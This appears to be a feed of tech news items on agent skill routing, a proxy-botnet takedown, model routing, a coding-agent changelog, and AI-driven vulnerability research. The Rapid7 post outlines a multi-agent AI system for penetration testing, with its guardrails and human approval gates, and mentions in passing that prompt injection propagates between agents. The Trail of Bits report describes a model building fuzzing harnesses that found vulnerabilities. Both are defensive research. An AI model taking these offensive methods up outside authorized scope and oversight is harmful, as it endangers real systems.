To tackle this, the researchers frame the problem of handling complex tasks that require multiple skills as "compositional skill routing." Given a complex user prompt and a vast library of tools, an agent must simultaneously figure out how to break the request into a sequence of atomic sub-tasks, how to map each sub-task to the single best available skill, and how to compose those skills into an executable plan.

SkillWeaver orchestrates this process through three distinct stages: Decompose, Retrieve, and Compose. In the first stage, an LLM acts as a task decomposer, breaking the user's complex query down into a sequence of sub-tasks that each require one skill. Once the sub-tasks are clearly defined, the system uses an embedding model to compare each subtask against the skill library to pull a shortlist of the top candidate tools for each step.

In the final stage, a planner evaluates the retrieved candidates based on how well they work together. It checks for inter-skill compatibility to ensure the outputs of one tool naturally flow into the inputs of the next. It then creates a final execution plan as a Directed Acyclic Graph (DAG) that maps out dependencies so independent tasks can potentially execute in parallel.

For example, consider a user asking an AI agent to "Download the dataset, transform it, and create visual reports." In the decompose stage, the decomposer LLM breaks this into three distinct sub-tasks: downloading the dataset, transforming the data, and creating the reports.

In the retrieve stage, the system searches the library and finds candidates like “api-client” or “http-fetch” for task one, “csv-parser” or “etl-pipeline” for task two, and so on. Finally, the compose stage evaluates these options, selects the specific combination of “api-client,” “csv-parser,” and “chart-gen” that are most compatible, and wires them together into a final, ready-to-execute workflow.

A key challenge of this pipeline is that LLMs often produce generic step descriptions that fail to match the specific, technical vocabulary of the actual skills available in the library. To fix this, SkillWeaver introduces Iterative Skill-Aware Decomposition (SAD), a novel feedback loop. SAD works by having the LLM draft an initial plan, conducting a preliminary search to find loosely matching skills, and then feeding those retrieved skills back into the LLM as hints. This allows the LLM to rewrite its decomposition so the granularity and vocabulary perfectly align with the actual tools that exist.

SkillWeaver in action

To evaluate how SkillWeaver performs in realistic enterprise scenarios, the researchers created a custom benchmark called CompSkillBench. It consists of 300 multi-step queries of different difficulty levels. To mirror real-world environments, they used a library of 2,209 real-world skills sourced from the public MCP ecosystem, covering 24 functional categories like cloud infrastructure, finance, and databases.

For the core engine, the researchers primarily used a lightweight 7-billion parameter model (Qwen2.5-7B-Instruct) for task decomposition, paired with a standard semantic search retriever (MiniLM with a FAISS index) to find the tools. SkillWeaver was evaluated against three main setups: a brute-force "LLM-Direct" method where they stuffed all the tool names into the prompt of a large model, a vanilla LLM-based decomposition without SAD, and a ReAct-style agent loop.

The experiments indicate that task decomposition is the main bottleneck. Standard LLM behavior falls short when dealing with large tool libraries, but the SAD feedback loop dramatically moves the needle. In the vanilla setup, the 7B model achieved a decomposition accuracy (i.e., predicting the correct number of steps) only 51.0% of the time. By activating the SAD feedback loop, accuracy jumped to 67.7% (with the larger Qwen-Max model, the accuracy reached 92%). On "hard" tasks requiring four to five distinct skills, SAD improved accuracy by 50%.

One fascinating finding was that larger models can actually perform worse when unguided. When tested in the vanilla setup, a larger 14-billion parameter model saw its accuracy plummet below the 7B model's accuracy because it tended to over-decompose tasks into microscopic, unnecessary steps. Once SAD was introduced, the retrieved tool hints anchored the model back to reality and increased its accuracy. This suggests that aligning an agent with the vocabulary of specific tools is often more impactful than paying for a larger, more expensive LLM.

Another important takeaway is token savings. The LLM-Direct baseline, which used the very large Qwen-Max model, showed that feeding all tools into the prompt of a large model fails. Despite near-perfect task breakdown capabilities, the massive model only retrieved the right tool category 21.1% of the time when flooded with tool options. SkillWeaver's targeted retrieve-and-route approach vastly outperformed this in accuracy while slashing context window consumption from an estimated 884,000 tokens down to roughly 1,160 tokens per query, a 99.9% reduction. For practitioners, this translates directly to drastically lower API costs and faster response times.

Finally, the traditional ReAct baseline completely failed, achieving 0% decomposition accuracy. Its loop naturally collapses multi-step plans into isolated actions rather than explicitly mapping out a cohesive, multi-tool sequence.

Considerations for developers

While the researchers have not yet released the source code for SkillWeaver, their work was built on off-the-shelf tools that can easily be reproduced.

Skill-Aware Decomposition (SAD), which is the key innovation at the heart of the framework, is a clever prompt-engineering and retrieval loop. The authors have shared the prompt templates in their paper, and developers can implement it themselves quite easily using standard orchestration libraries like LangChain, LlamaIndex, or even raw Python scripts.

As for the retrieval component, the authors built the core framework using all-MiniLM-L6-v2, an open-source embedding model. They found that swapping in a slightly stronger off-the-shelf encoder (BGE-base-en-v1.5) immediately boosted accuracy without any fine-tuning. While an off-the-shelf bi-encoder is great at getting a relevant tool into the top 10 candidates nearly 70% of the time, it struggles to consistently rank the perfect tool at exactly number one, achieving that only about 37% of the time. To bridge this gap, teams will likely need to implement a secondary cross-encoder or LLM-based reranker to re-order those top 10 candidates.

One upfront preparation requirement is vectorizing the tool library and building a FAISS index in advance. In practice, this is a negligible hurdle. Embedding and indexing all 2,209 skills in the benchmark took a mere 15 seconds. Once built, retrieving tools from the index adds less than 15 milliseconds of latency per query. For enterprise environments, syncing the tool index is a trivial background job.

A current limitation in SkillWeaver is the lack of error recovery. While SkillWeaver successfully maps out a compatible DAG for execution, the authors' pilot study revealed the challenges of multi-step tool chains. For example, if an API call fails in step two, the entire chain breaks. The paper's core contribution is limited to the routing and planning phase. For a true production deployment, practitioners must build their own error recovery, fallback, and retry mechanisms on top of the compose stage to handle real-world API timeouts or malformed outputs.

OpenBlow Multiple Deanonymization Vulnerabilities

Thu, 02 Jul 2026 20:53:53 +0200

Posted by Red Nanaki via Fulldisclosure on Jul 02

OpenBlow Multiple Deanonymization Vulnerabilities

Summary

A production deployment was observed (HTTP archive of a full, real whistleblower
submission) to route its anonymous reporting flow through Google. The intake
CAPTCHA is Google reCAPTCHA, enforced as a mandatory, server-validated gate
on report submission, and the UI additionally pulls a web font from
fonts.gstatic.com. As a result, every prospective whistleblower's browser
makes...

Google’s Continued Disruption of Malicious Residential Proxy Networks

Thu, 02 Jul 2026 19:38:51 +0200

Background

Today, in coordination with the FBI, Lumen, and others, Google took action against the NetNut residential proxy network, also known as Popa. This action builds on our disruption of the IPIDEA proxy network that took place in January 2026, and is a continuation of Google’s objective to dismantle malicious residential proxy networks.

Actions Taken

As a part of this disruption we took the following actions:

Disabled Google accounts and associated Google services used by NetNut for malware command and control (C2), which directly violates Google’s Terms of Service and Acceptable Use Policy.
Shared technical intelligence on NetNut software development kits (SDKs) and backend C2 infrastructure with platform providers, law enforcement, and research firms to help drive ecosystem-wide awareness and enforcement.
We ensured Google Play Protect, Android’s built-in security protection, automatically warned users and disabled applications known to incorporate NetNut SDKs, and the system will continue to protect users against future install attempts. These efforts to help keep the broader digital ecosystem safe supplement the protections we have to safeguard Android users on certified devices.

We believe our coordinated actions have caused significant degradation to NetNut’s proxy network and its business operations, reducing the available pool of devices for the proxy operator by millions. In addition to selling access to the network under the NetNut brand, NetNut has a robust reseller program that allows whitelabeling of its network. Google has high confidence that many popular residential proxy brands are in fact whitelabeling the NetNut botnet. While we expect this disruption to have a larger ripple effect across the residential proxy ecosystem, observations after the disruption of IPIDEA proved that individual networks can appear resilient. What we have observed is that when faced with the degradation of their own botnet, proxy operators begin buying capacity from their competitors, effectively becoming a reseller. We recognize that creating a lasting disruption in this fluid ecosystem means we must scale our efforts to target the infrastructure of several interconnected providers. We will continue to observe the composition of the NetNut network and map out how its peers adapt to this action.

Why it Matters

NetNut is among the largest and most popular residential proxy networks. Estimating the size of residential proxy networks is extremely challenging, but Google Threat Intelligence Group (GTIG) estimates the size of the NetNut network to be at least 2 million devices, distributed across the world. Public reporting by KrebsOnSecurity and others, confirmed by Google, illustrates that NetNut populates its botnet by distributing SDKs for devices commonly found in homes, such as smart TVs and streaming boxes. GTIG has also identified NetNut botnet plugin components for large-scale botnets such as Badbox 2.0.

Residential proxy networks sell the ability to route traffic through IP addresses owned by internet service providers (ISPs), allowing attackers to mask malicious activity by hijacking these IP addresses. A robust residential proxy network requires controlling millions of residential IP addresses to sell to customers for use. To accomplish this, operators need code running on home devices to enroll them into the malicious network as exit nodes. Home devices become part of proxy networks either because they are pre-installed with malware before purchase or because users unknowingly download applications containing hidden proxy code. This creates serious risks for unsuspecting device owners, as their home IP addresses can be used by attackers as a launchpad for hacking and other unauthorized activities. Consequently, users can have their legitimate traffic flagged as suspicious, or blocked by their service providers.

In a single week during June 2026, GTIG observed 316 distinct threat clusters using suspected NetNut exit nodes, including cybercriminal and espionage groups. These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks. Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats. Public reports by Synthient, Spur, Nokia Deepfield, and others have documented the use of NetNut to infect devices with variants of Mirai DDoS botnets.

Empowering and Protecting Consumers

Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for malicious proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to official app stores, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

Consumers should be careful when purchasing connected devices, such as set top boxes, to make sure they are from reputable manufacturers. For example, to help you confirm whether or not a device is built with the official Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your Android device is Play Protect certified.

Future Work

As we noted earlier this year, the residential proxy industry appears to be rapidly expanding, and this coordinated disruption is not the end of our work combating malicious residential proxy networks. This industry is deeply connected and operators depend on overlapping botnet networks that are constantly resold. While point-in-time disruptions are a critical tool to protect our users, continued and coordinated effort is needed to reduce malicious proxy networks in the long run. We encourage mobile platforms, ISPs, and other tech platforms to continue sharing intelligence and to take direct action to block malicious C2 infrastructure.

iPhone 18 Pro rumor recycles claims of slower SSD on high capacity models

Thu, 02 Jul 2026 18:53:15 +0200

A new rumor claims that some iPhone 18 Pro models will use slower QLC NAND storage, mimicking a similar 2024 iPhone 16 Pro report. It makes more sense now than it did then, but doesn't matter much in practical usage.

The 1TB and 2TB iPhone 18 Pro may not have the same type of storage as lower-capacity models.

This latest report suggests that Apple will use the faster TLC storage for the iPhones that people are most likely to buy. But those choosing the larger 1TB and 2TB capacities may be left with a slower QLC alternative from SK Hynix.

Companies like Apple continue to struggle to source the storage components required for new products. With that in mind, it may not be surprising to see Apple go this route. Sourcing 1TB and 2TB TLC components may be difficult, if not impossible.

Rumor Score: 🤔 Possible

Continue Reading on AppleInsider | Discuss on our Forums

Model routing: A better way to control AI costs

Thu, 02 Jul 2026 18:34:32 +0200

As an old Delphi guy, I remember well the “language wars” we had with the Visual Basic guys. An early codename for Delphi was “VBK” — VB Killer — and the VB community took exception. They’d come to our Delphi forums and pick fights. Naturally, we brash Delphi guys would fight back, engaging in big flame wars and getting all worked up over what wasn’t much more than a personal preference. Good times.

These days, we’ve moved the discussion up a layer — what is the better model for coding? Things aren’t quite as intense as the VB/Delphi dustups, but people have their opinions. Companies are taking a look at different models before choosing one for their teams. Most teams have arrived at a family of models that they use.

At some point, chatting with Claude or Codex started to seem a bit raw. It wasn’t long before scaffolding tools like GStack and Superpowers were adding underpinnings for interacting with LLMs — baseline instructions for handling prompts before they get to the model itself. They help establish useful context and act as a layer above “raw prompting”. Context engineering is the first and most common layer to add on top of the chat interface.

And then once the choice of models and harnesses was made, everyone went crazy with tokenmaxxing. If you have a model, of course you want to get the most out of it. But when the bill came in, managers were not pleased. As costs skyrocketed, leadership worried that the money wasn’t being well spent.

Model routing – the next layer

Just as assembly language and hand-tuning registers gave way to compilers and structured languages, which led to frameworks and libraries, and most recently to LLMs and prompting, it is starting to occur to developers and managers that there is a better way to manage LLM spending.

But naturally, the minute you figure out how things work, another layer appears, making all your hard-earned knowledge outdated. Apparently being able to code in English isn’t enough to stop the next abstraction from appearing.

So as is always the case, another layer of abstraction has come along. (Sic semper fuit.) Thus model routing is the latest way to maximize the value for each dollar spent on tokens.

The idea is that not all prompts are created equal. Not everything that you ask Claude is going to require the deep thinking of a frontier model. A model router can take a look at the prompt and decide what model is best suited to answer that prompt and direct the query to that model. Maybe simpler requests are better suited for an older model. Maybe code reviews are better done with a model specifically designed for that purpose.

Model routing leads to more efficient token spending. When you run Claude Code today, you have to choose a model for the whole session, and if you want to use the top-tier model, you have to pay for it no matter what you end up doing. A model router lets you vary the model — and thus the cost. Organizations like Coinbase are seeing their AI spend cut in half while their token usage increases.

From tokenmaxxing to tokenmatching

LLMs are constantly evolving, becoming both more powerful and more specialized. Being able to route a prompt to the model that is both well-suited for the task and cost-effective is the way to maximize token effectiveness. Teams are doing this manually now, but AI itself will become the best way to make such decisions.

For example, Claude Code Router can route prompts to any number of popular models, depending on the type of work each prompt requires. And it’s open source.

The next layer that is coming is the preprocessing of prompts. We can work to write good prompts, but AI itself can improve upon what we ask. One of the best techniques in prompting is to tell the LLM to “ask the questions that I’m not asking but should be asking”. I can easily imagine a world in which you write a prompt, AI helps you clarify it, improves it, and then routes it to the best, most cost-effective model for an answer.

You won’t be choosing a given LLM provider anymore. Instead, you can focus on specifying exactly what you want. So stop hand-crafting your prompts for a specific model. Let the coming model routers and prompt preprocessors do the hard work for you.

v16.3.2

Thu, 02 Jul 2026 18:26:02 +0200

@oh-my-pi/pi-ai

Changed

Removed automated injection of reasoning suppression prompts in OpenAI responses

@oh-my-pi/pi-catalog

Fixed

Fixed ZenMux model discovery to run without a ZENMUX_API_KEY, so newly published ZenMux models (for example anthropic/claude-fable-5-free) auto-update into the runtime models.db cache instead of waiting on a regenerated models.json.
Fixed ZenMux runtime discovery to query the /api/v1/models endpoint even when the resolved provider base URL points at the Anthropic-compatible route, so discovery no longer requests a non-existent /api/anthropic/models path.

Removed

Removed reasoning suppression prompt logic for GPT-5 models

@oh-my-pi/pi-coding-agent

Breaking Changes

Changed search tool paths parameter to a single semicolon-delimited path string parameter
Changed the grep, glob, and ast_grep tools to take a single optional path argument instead of a paths array. path accepts one path or a semicolon-delimited list (src; tests); omitting it searches the workspace root (.). Multi-path search, delimited expansion, and internal-URL scopes are unchanged. (ast_edit continues to take paths.)

Added

Added speech.enhanced setting to rewrite assistant output into natural spoken prose
Added speech.enhanced setting: assistant output is rewritten into natural spoken prose by the tiny/smol model before synthesis — code blocks become one-clause descriptions, links speak their label or site name, numbers and symbols read naturally, lists become flowing sentences. Blocks are rewritten fence-aware and coalesced (bounded to two concurrent completions); any failed or timed-out rewrite falls back to the mechanical cleanup so speech never blocks on the model.

Changed

Reduced extension startup cost, especially on Windows, by reading each extension source-graph module from disk once per load instead of twice (the graph scan now feeds the load-time rewrite hook) (#4196).
Redesigned speech vocalization for low latency and clean spoken content. Assistant markdown now runs through a speakable-text pipeline before synthesis: code blocks and tables are silent, links speak their label, bare URLs speak their host, inline-code ticks/emphasis/heading/bullet markers are stripped, and long file paths collapse to their basename. Segmentation is now parent-side and emits at sentence boundaries immediately (the previous engine-side splitter held each sentence until the next one arrived), with clause-level cuts for long sentences and an idle flush when generation stalls mid-sentence. macOS gains a gapless streaming playback backend (ffmpeg AudioToolbox, sox fallback) instead of spawning afplay per sentence.

Fixed

Fixed ALL-CAPS acronyms (e.g. CNPG, ETL, JWT) being lowered to title case in auto-generated session titles. reconcileTitleCasing (packages/coding-agent/src/tiny/text.ts) now maps ALL-CAPS source tokens into an acronyms table and restores them when the model produces a title-cased artifact (Cnpg), while still declining restoration on shouty input (FIX the BUG NOW, ALL ERROR HANDLING) via a consecutive-ALL-CAPS heuristic. Title prompts also instruct the model to preserve ALL-CAPS acronyms verbatim. (#4220)
Fixed cold-start --model resolution for extension providers whose catalogs come only from fetchDynamicModels, so fresh cached runtime models are available before session startup falls back or hard-fails. (#4216)
Fixed plugin and legacy extension discovery repeatedly re-reading plugin manifests and walking extension node_modules by caching results until plugin cache invalidation. (#4197)
Fixed discoverExtensionPaths invoking every registered extension-module provider (claude, codex, gemini, opencode) on startup and discarding all non-native results. The extension-module capability is now loaded with providers: ["native"], skipping four foreign directory walks per session — noticeable on Windows where the walks are slowest (#4198).
Fixed /move overlay running an fs.statSync per directory entry per keystroke; the directory listing cache now stores Dirent[] and classifies entries without a syscall, falling back to statSync only for symlink entries (#4199).
Fixed default model switches being persisted without changing the active goal-mode session when the current context exceeded the target model window. (#4219)
Fixed live tool preview spinners staying pinned to their first frame for eval and shell-style renderers. (#4170)
Fixed isolated task merges failing when the parent working tree carried WIP for a file the isolated subagent also touched. commitPatchToBranchWorktree now tries plain apply and git apply --3way first (agent-only outcome when the WIP-side blob is tracked in HEAD), then falls back to seeding the temp worktree with the baseline WIP so the delta patch's HEAD+WIP context matches, and rewinds WIP-only files afterward so they don't leak into the branch commit. Covers untracked WIP files, staged-new WIP files, and overlaps --3way cannot resolve. (#4136)
Fixed discoverAgents() skipping agents/ subdirectories inside OMP extension packages, so agents shipped by omp plugin install-ed npm plugins (e.g. loom) and --extension/extensions: settings roots now load the same way their sibling skills/, hooks/, tools/ directories already do. The new scan goes through listOmpExtensionRoots, so Claude marketplace installs continue to flow through the claude-plugins provider without being double-counted. (#3920)
Fixed plan mode hanging without converging on ask/resolve after advisor cards, idle IRC messages, or follow-on turns. Plan-mode decision enforcement ran on only the non-synthetic prompt() return; continuation/wake paths settled via agent_end and bypassed it. Advisor cards and idle IRC are now recorded into context without waking an autonomous turn, and the ask/resolve decision is enforced at the universal agent_end terminal settle via a bounded-retry counter (provider-neutral required, both tools kept available) that reminds-then-forces a fixed number of times and then yields to the user — never looping, never silently ending plan mode un-converged. An irc send await:true to an idle plan-mode session now answers the sender through the existing ephemeral side-channel auto-reply instead of stranding it until its wait timeout, and a queued forced plan decision is dropped when its continuation is skipped or plan mode exits. (#3910)
Reduced subagent streaming CPU cost: the recent-output window no longer re-splits the full (up to 8 KB) tail on every streamed text token. Fragments without a newline extend the current last line in place, and a full recompute runs only when line boundaries actually change.
Reduced task-render CPU cost: the task result frame (repainted ~30×/sec via the spinner) previously did 7+ full passes over the result set (some/filter/reduce); a single pass now derives the status booleans, footer counts, and request total, and incremental review extraction reuses the yield data the caller already normalized instead of re-normalizing it.
Reduced model-resolution cost: resolveModelRoleValue now builds the preference context (an O(n) model-order map over all available models) once and reuses it across every fallback pattern instead of rebuilding it per pattern, and matchModel hoists the case-folded pattern once instead of .toLowerCase()-ing it for every candidate across each filter pass.
Reduced read-tool allocation: line counting counts newlines directly instead of allocating via split("\n"), and the hashline formatter no longer counts the same content twice.
Fixed the assistant-message streaming fast path dropping the transient flag, which disabled the transient render path (code-highlight skip and streaming prefix caches) on every same-shape streaming tick. In-flight renders now correctly skip per-tick syntax highlighting; highlighting applies once at message finalization.
Fixed hidden goal-mode todo context: phase names and task text are now sanitized before prompt injection (no raw newlines or control characters forging extra context lines), and the block is only rendered with tool-accurate guidance when the todo tool is active or discoverable instead of unconditionally instructing the agent to call an unavailable tool.
Fixed custom tool loading treating process.exit() from a tool module's import or factory as a host process exit instead of a recoverable load failure. Custom tools now load under the shared extension exit guard, so an exiting tool is skipped with a load error while remaining tools still load (#1704).
Fixed stuttering/latency in speech by running synthesis chunks through the player gaplessly
Fixed race condition causing EPIPE errors and broken pipes during speech playback
Fixed interrupted speech audio by ensuring segments queue and drain in order
Fixed speech vocalization starting only after the entire reply was synthesized: ONNX inference blocks the TTS worker's event loop, so per-segment IPC audio chunks queued unflushed and arrived in one burst. Streaming sends now drain the IPC channel before the next segment's inference, cutting time-to-first-audio to ~1.5s regardless of reply length.
Fixed an unhandled EPIPE: broken pipe, write rejection at the end of speech playback: the streaming player's stop() raced an un-awaited FileSink.end() against the backend SIGKILL, and mid-session writes never awaited the flush. Writes now await the flush (so a dead backend is detected and the chunk replays on the next candidate or the per-file path) and stop() swallows the expected teardown rejection.

@oh-my-pi/collab-web

Changed

Updated the glob, grep, and ast_grep tool cards to read the new single path argument, falling back to the legacy paths array so historical transcripts still render their search scope.

@oh-my-pi/omp-stats

Added

Added a Tools tab to the omp stats dashboard (/#/tools): per-tool call counts, error rates, result/argument payload sizes, per-model breakdown, and a stacked calls-over-time chart. Token and cost columns attribute each invoking turn's real provider usage evenly across that turn's tool calls. Existing databases re-parse sessions once on the next sync to backfill historical tool calls.

@oh-my-pi/pi-utils

Fixed

Fixed parseJsonWithRepair failing tool calls whose streamed arguments contain an unquoted string value (e.g. {"paths": packages/foo/*, "i": "…"}). Final parsing now recovers such barewords in object/array value position as strings, terminating at , / } / ] / newline. Recovery deliberately refuses anything that could mask real structure or bad data — truncated values, tokens containing " / { / [ or a key-like : (URL :// and Windows :\ colons stay literal), and non-finite atoms (NaN, Infinity, undefined) — and streaming partial parses still roll back unfinished barewords instead of committing them.

What's Changed

Fix todo HUD and goal context follow-ups by @jeffscottward in #3777
perf: streaming-reveal/render throughput + core hot-path optimizations by @oldschoola in #3843
fix(session): converge plan mode on ask/resolve across continuation paths by @metaphorics in #3911
fix(task): scan OMP extension agents/ dirs in discoverAgents by @roboomp in #3922
fix(coding-agent): stopped isolated task merges failing when working tree carries WIP for files the agent also modifies by @roboomp in #4140
fix(tui): animate live tool spinners by @roboomp in #4172
fix(robomp): run sandbox setup/teardown off the event loop safely by @metaphorics in #4184
fix(coding-agent): scope discoverExtensionPaths to native extension-module provider by @roboomp in #4202
fix(model-discovery): auto-update ZenMux models into models.db without a key by @metaphorics in #4204
fix(coding-agent): cache plugin extension resolution by @roboomp in #4209
fix(providers): hydrate runtime model cache before selection by @roboomp in #4217
fix(session): keep model switches active after rate limits by @roboomp in #4221
fix(coding-agent): guard custom tool process exits during load by @roboomp in #1706
fix(tui): stop /move overlay from statting every entry per keystroke by @roboomp in #4200

Full Changelog: v16.3.1...v16.3.2

Formalizing Red Teaming Offensive Methodology as a Multi-Agent AI Architecture

Thu, 02 Jul 2026 16:38:18 +0200

Threat actors are integrating AI into their exploit chains, accelerating reconnaissance, automating vulnerability discovery, and scaling social engineering in ways that compress the timeline between initial access and impact. The barrier to sophisticated offensive operations is dropping fast.

Rapid7's Red Team is doing the same. Over the past year we formalized our approach into a structured multi-agent system that follows our penetration testing methodology end-to-end from scoping an engagement to validating findings to generating reports. We built it as a production system, not a proof of concept, and the process of designing and operating it taught us as much about defending against AI-enhanced attacks as it did about conducting them.

The system also proved its value as part of Anthropic's Project Glasswing initiative. Glasswing is a program that gives leading security companies early access to frontier cyber models before they reach wider availability, enabling security research that stays ahead of malicious adoption. We infused our red team architecture with Claude Mythos, applying it across penetration testing, vulnerability research, and red team operations. The combination of our formalized multi-agent architecture with a frontier-class model produced exceptional results in vulnerability analysis and exploit chain development. This validated both the architecture's design and the importance of getting these capabilities into defenders' hands first.

This post covers the architecture, the key design decisions, and what we learned along the way.

Why Rapid7's Red Team built a multi-agent system

Penetration testing is labor-intensive by nature as a significant portion of any engagement is spent on structured, repeatable work like enumerating attack surfaces, tracing data flows through source code, checking security headers, documenting findings in a consistent format. The actual judgement — deciding what to test next, assessing exploitability, understanding business impact — remains deeply human.

The opportunity was straightforward: offload the mechanical work to AI agents while maintaining human insight at decision points where it matters most. Those decision points are where engagements succeed or fail: scoping what's in and out of bounds, choosing which attack paths to pursue based on business context, assessing whether a vulnerability is genuinely exploitable in a given environment, deciding when a finding is significant enough to escalate, and interpreting results in ways that translate to actionable risks. None of that is mechanical, it requires experience, judgement, and context that models routinely get wrong. And as an internal security team, we don't just report vulnerabilities, we're accountable for coverage. If something ships with an exploitable flaw we missed, that's on us. The bar for confidence is high, and that's why humans stay in the loop at every point that matters.

We also had a secondary motivation. Building a system that follows a structured offensive methodology gives us direct architectural insight into how AI agents behave in adversarial contexts including the capabilities, the limitations, and the failure modes. That understanding now informs how we assess and secure Rapid7's own AI-powered products.

The architecture: Orchestration, not autonomy

The system isn't a single monolithic agent but a team of specialist agents coordinated by an orchestrator that mirrors how human red teams operate. The orchestrator doesn't test anything. It assesses the current state of the engagement, determines what needs to happen next, routes work to the appropriate specialist, and processes the results. Specialist agents handle enumeration, code review, dynamic testing, and reporting.Each with defined inputs, outputs, and constraints.

The architectural choice to use supervisor-style orchestration rather than a monolithic agent separates routing decisions from execution. This makes the system more predictable, auditable, and controllable,properties that matter when the agent is operating in sensitive environments.

The key design decision that made this work was methodological, not technical. We reverse-engineered the agent's architecture directly from our team's daily task lists. The to-do items our testers tracked during real engagements became the specification: which tasks repeat, in what sequence, where decisions branch, and what triggers a return to an earlier phase. The methodology we'd built over years of engagements became the orchestration logic.

Scope decomposition: Giving every target full attention

One of the earliest lessons we learned was that throwing an entire engagement scope at an AI agent produces shallow, scattered results. LLMs have finite context windows and finite attention. A complex application with dozens of endpoints, multiple authentication flows, and layered business logic overwhelms a single-pass analysis and important details get lost in the noise.

The solution was deliberate scope decomposition. Before the agent begins any technical work, the engagement scope is broken into discrete, manageable chunks. The scope includes individual components, feature areas, or functional boundaries. Each chunk flows through the full architecture independently: enumeration, code review, dynamic testing, and reporting. The orchestrator tracks which chunks are complete, which are in progress, and which are queued.

This achieves two things. First, it ensures depth over breadth as each component receives the agent's full analytical attention rather than competing for context space with everything else. Second, it creates natural parallelization opportunities and clear progress tracking. A tester can see exactly which areas have been thoroughly assessed and which remain.

The principal maps directly to how experienced pentesters already work by breaking the target into logical units, going deep on each one, then synthesizing across them. Making the principal explicit and enforceable in the orchestration logic was the design contribution.

Feedback loops: Why linear pipelines fail

Real penetration tests don't follow a straight line. Code review reveals new endpoints that need enumeration. Dynamic testing uncovers an attack surface that wasn't visible from source alone. Validated findings sometimes expose entirely new subsystems.

The agent handles this natively. The orchestrator maintains a routing table with progression gates — criteria that must be met before advancing — and feedback triggers that route the engagement backward when new actionable data emerges. This creates a directed graph with re-entry points, not a waterfall.

Guardrails: Maintaining safety in a malicious context

Building an AI agent that can hack is relatively straightforward but building one that operates safely within defined boundaries is a challenge. So it was an area where we invested significant design effort.

The system uses a tiered safety model:

Scope enforcement — every action is validated against the engagement's authorized scope before execution. Out-of-scope discoveries are reported but never probed.
Action classification — before execution, every proposed dynamic test is categorized as non-destructive, destructive, or ambiguous. Destructive and ambiguous actions require human approval.
Human-in-the-loop by default — in our current deployment, a tester reviews and approves every dynamic test. The agent proposes; the human decides.

The system is designed with a path toward semi-automated operation where low-risk, read-only actions execute autonomously while state-modifying operations still require human approval. The decision about where to sit on that spectrum is context-dependent. Internal labs can tolerate more autonomy while client engagements demand more oversight.

Token efficiency: Making AI practical

AI agents are expensive to run at scale. Every enumeration step, every code block analyzed, every HTTP request reasoned about will consume tokens. It is a practical concern that shaped several design decisions.

The approach was to identify mechanical tasks that don't require LLM reasoning and replace them with deterministic scripts and MCP servers. DNS lookups, header checks, input field probing, and certificate enumeration produce structured data that the agent consumes, but the data collection itself doesn't need intelligence. This reduced token consumption dramatically for enumeration-heavy phases while letting the AI focus its reasoning budget on analysis, correlation, and judgement.

Not every step in an AI workflow needs AI. Knowing where to draw that line was the difference between a demo and a production system for us.

Securing AI from the inside out

There's a dimension to this work that goes beyond offensive operations. Rapid7 builds AI-powered products. As the internal security team, we're responsible for securing those systems and building a complex multi-agent architecture gave us direct insight into where the weak points live.

Designing the orchestrated system taught us exactly how prompt injection can propagate between agents, where trust boundaries blur when one agent's output becomes another's input, how guardrails can be bypassed through indirect manipulation, and what happens when scope enforcement relies on instruction-following rather than programmatic controls.

We now test Rapid7's AI features with the same architectural intuition we developed building this system. We know where to look because we've built the same patterns and felt where they flex. When we assess an AI system's safety, we're thinking like the orchestrator — looking for the routing decision that can be subverted, the progression gate that can be skipped, the feedback loop that can be poisoned.

Building offensive AI made us materially better at defending the AI we ship to customers.

What we learned operating the multi-agent system

A few observations from our team:

Methodology is the differentiator

The LLMs are commodities. The orchestration patterns are emerging in open literature. What makes an AI agent effective at penetration testing is the methodology it follows and that's built from years of institutional knowledge. Formalizing our methodology into explicit, machine-executable logic was the most valuable part of the project.

Building AI builds intuition for securing AI

The architectural understanding we developed — trust boundaries, prompt propagation, scope enforcement failures — translates directly into more effective security assessments of production AI systems. This was an unexpected but significant return on the investment.

The automation spectrum is context dependent

Full autonomy isn't a goal; it's one end of a spectrum. The right level of automation depends on the context.Internal labs, client engagements, and product integrations each have different risk profiles. Designing for the spectrum rather than a fixed endpoint kept the system flexible.

What's next for Rapid7 Red Teaming in the age of AI

We're continuing to develop the system, refining the methodology mapping, expanding specialist capabilities, and exploring where purpose-built models could replace general-purpose LLM calls for specific tasks (such as severity classification, report writing, payload selection). We're also using what we learn from operating this system to inform how Rapid7 detects and responds to AI-enhanced offensive activity in the wild.

You can learn more about Vector Command, Rapid7's continuous red-teaming solution, here.

Field reports from Patch the Planet

Thu, 02 Jul 2026 13:23:51 +0200

We’re running Patch the Planet, an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose of bug reports, and OSS maintainers are already spread thin. Our plan is to point OpenAI’s latest models at real codebases, find the security bugs first, work with maintainers to patch them, and find ways to decrease the burden on maintainers in the long run.

This post compiles field reports from Patch the Planet. We’ll update it as the initiative progresses with insights on model capabilities, bespoke tooling for maintainers, and industry guidance. Follow this blog for updates.

Field report 1: GPT-5.5-Cyber built a custom fuzzing harness for zlib

Authored by Benjamin Samuels

The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher: harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure.

This particular instance focused on zlib, a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the /goal command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut.

The lab GPT-5.5-Cyber built in a day

We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib has been reviewed so thoroughly that there’s little left to find that way. GPT-5.5-Cyber worked that out for itself, judged static review to be a poor use of tokens, and decided the higher value path was to build fuzz tooling to dynamically test the code. Earlier models given the same goal tend to read the code and flag whatever looks suspicious, ultimately leading to mediocre outcomes.

